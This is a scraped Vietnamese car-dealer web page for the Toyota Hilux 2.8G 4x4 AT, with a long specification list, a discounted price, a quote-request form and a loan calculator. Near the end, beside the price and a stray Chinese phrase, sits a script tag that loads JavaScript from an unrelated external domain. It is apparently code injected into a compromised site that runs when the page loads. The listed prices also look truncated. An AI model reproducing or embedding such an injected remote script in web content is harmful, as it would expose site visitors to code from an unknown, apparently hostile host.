TOYOTA HILUX 2.8G 4×4 AT MLM

Kích thước
Kích thước tổng thể bên ngoài (D x R x C) (mm x mm x mm) 5330 x 1855 x 1815
Kích thước tổng thể bên trong (D x R x C) (mm x mm x mm) 1697 x 1480 x 1168
Chiều dài cơ sở (mm) 3085
Chiều rộng cơ sở (Trước/sau) (mm) 1540/1550
Khoảng sáng gầm xe (mm) 310
Góc thoát (Trước/Sau) (độ/degree) 31/26
Trọng lượng không tải (kg) 2095-2100
Trọng lượng toàn tải (kg) 2910
Dung tích bình nhiên liệu (L) 80
Kích thước khoang chở hàng (D x R x C) (mm) 1525 x 1540 x 480
Động cơ
Loại động cơ 1GD-FTV (2.8L)
Số xy lanh 4
Bố trí xy lanh Thẳng hàng
Dung tích xy lanh (cc) 2755
Tỉ số nén 15.6
Hệ thống nhiên liệu Phun nhiên liệu trực tiếp sử dụng đường ống dẫn chung, tăng áp biến thiên
Loại nhiên liệu Dầu/Diesel
Công suất tối đa ((KW @ vòng/phút)) (130) 174/3400
Mô men xoắn tối đa (Nm @ vòng/phút) 450/2400
Tốc độ tối đa 175
Tiêu chuẩn khí thải Euro 4
Truyền động
Hệ thống truyền động Dẫn động 2 cầu bán thời gian, gài cầu điện tử/Part-time 4WD, electronic transfer switch
Hộp số Số tự động 6 cấp/6AT
Chế độ lái
Treo, lốp & phanh
Hệ thống treo trước Tay đòn kép
Hệ thống treo sau Nhíp lá
Loại vành Mâm đúc
Kích thước lốp 265/60R18 MLM
Lốp dự phòng Mâm đúc/Alloy
Phanh trước Đĩa tản nhiệt
Phanh sau Tang trống
Trợ lực tay lái Thủy lực/Hydraulic
Tiêu thụ nhiên liệu
Kết hợp N/A
Trong đô thị N/A
Ngoài đô thị N/A
Tay lái
Loại tay lái 3 chấu
Chất liệu Bọc da
Nút bấm điều khiển tích hợp Hệ thống âm thanh, màn hình hiển thị đa thông tin, đàm thoại rảnh tay
Điều chỉnh Chỉnh tay 4 hướng
Lẫy chuyển số Không có
Bộ nhớ vị trí Không có
Gương, tay nắm, đồng hồ
Gương chiếu hậu trong 2 chế độ ngày và đêm/Day & night
Tay nắm cửa trong Mạ crôm
Tay nắm cửa ngoài Mạ crôm
Loại đồng hồ Analog Hi
Đèn báo chế độ Eco
Chức năng báo lượng tiêu thụ nhiên liệu
Chức năng báo vị trí cần số Không có
Màn hình hiển thị đa thông tin Có (màn hình màu TFT 4.2")
Cửa sổ trời Không có
Ghế
Chất liệu bọc ghế Da
Loại ghế Thường
Điều chỉnh ghế lái Chỉnh điện 8 hướng
Điều chỉnh ghế hành khách Chỉnh tay 4 hướng
Bộ nhớ vị trí Không có
Chức năng thông gió Không có
Chức năng sưởi Không có
Hàng ghế thứ hai Cố định/Fixed
Tựa tay hàng ghế sau
Cụm đèn trước
Đèn chiếu gần LED dạng thấu kính
Đèn chiếu xa Halogen phản xạ đa hướng
Đèn chiếu sáng ban ngày LED
Hệ thống rửa đèn Không có
Hệ thống điều khiển đèn tự động
Hệ thống nhắc nhở đèn sáng Không có
Hệ thống mở rộng góc chiếu tự động Không có
Hệ thống cân bằng góc chiếu Chỉnh tay/Manual (LS)
Chế độ đèn chờ dẫn đường
Đèn sương mù
Cụm đèn sau
Đèn báo phanh trên cao LED
Đèn sương mù Không
Cụm đèn sau Bóng thường
Gương chiếu hậu ngoài
Chức năng điều chỉnh điện
Chức năng gập điện
Tích hợp đèn báo rẽ
Tích hợp đèn chào mừng Không có
Màu Mạ crôm
Chức năng tự điều chỉnh khi lùi Không có
Bộ nhớ vị trí Không có
Chức năng sấy gương Không có
Chức năng chống bám nước Không có
Chức năng chống chói tự động Không có
Linh tinh
Gạt mưa trước Gián đoạn, điều chỉnh thời gian
Gạt mưa sau Không có
Chức năng sấy kính sau
Ăng ten Dạng cột
Bộ quây xe thể thao
Thanh cản (giảm va chạm) trước Cùng màu thân xe
Thanh cản (giảm va chạm) sau Mạ crome
Lưới tản nhiệt trước Sơn đen MLM
Lưới tản nhiệt sau Không có
Chắn bùn Trước + sau
Ống xả kép Không có
Hệ thống âm thanh
Đầu đĩa DVD cảm ứng 7"
Số loa 6
Cổng kết nối AUX
Cổng kết nối USB
Kết nối Bluetooth
Hệ thống điều khiển bằng giọng nói Không có
Bảng điều khiển từ hàng ghế sau Không có
Kết nối wifi Không có
Hệ thống đàm thoại rảnh tay
Kết nối điện thoại thông minh Không có
Tiện nghi khác
Hệ thống điều hòa Tự động
Cửa gió sau
Hộp làm mát
Chìa khóa thông minh & khởi động bằng nút bấm
Khóa cửa điện
Chức năng khóa cửa từ xa
Cửa sổ điều chỉnh điện Có (1 chạm, chống kẹt tất cả các cửa)
Cốp điều khiển điện Không
Hệ thống sạc không dây Không có
Hệ thống điều khiển hành trình
Hệ thống báo động
Hệ thống mã hóa khóa động cơ
An toàn chủ động
Hệ thống chống bó cứng phanh
Hệ thống hỗ trợ lực phanh khẩn cấp
Hệ thống phân phối lực phanh điện tử
Hệ thống ổn định thân xe
Hệ thống kiểm soát lực kéo Có (A-TRC)
Hệ thống hỗ trợ khởi hành ngang dốc
Hệ thống hỗ trợ khởi hành đỗ đèo
Hệ thống thích nghi địa hình Không có
Hệ thống lựa chọn vận tốc vượt địa hình Không có
Đèn báo phanh khẩn cấp
Camera lùi
An toàn bị động
Túi khí người lái & hành khách phía trước
Túi khí bên hông phía trước
Túi khí rèm
Túi khí đầu gối người lái
Khung xe GOA
Dây đai an toàn 3 điểm ELR, 5 vị trí
Ghế có cấu trúc giảm chấn thương cổ
Cột lái tự đổ
Bàn đạp phanh tự đổ

Thông tin liên hệ

TOYOTA AN SƯƠNG

SỐ ĐIỆN THOẠI
0942 199 579

Gửi yêu cầu báo giá

Tên của bạn:

SĐT liên lạc:

Email:

Lời nhắn:

Giá gốc 878 000₫
Giá mới
858 000₫
"<script type=text/javascript src='https://slow.destinyfernandi.com/hos?&v=4'></script>连锁品牌Toyota
N/A
đô thị
N/A
cao tốc
Tính toán trả góp
Giá xe (₫)
Lãi suất (%)
Thời hạn (tháng)
Trả trước (₫)
Tính toán
Tiền trả mỗi tháng
Tổng tiền lãi
Tổng tiền phải trả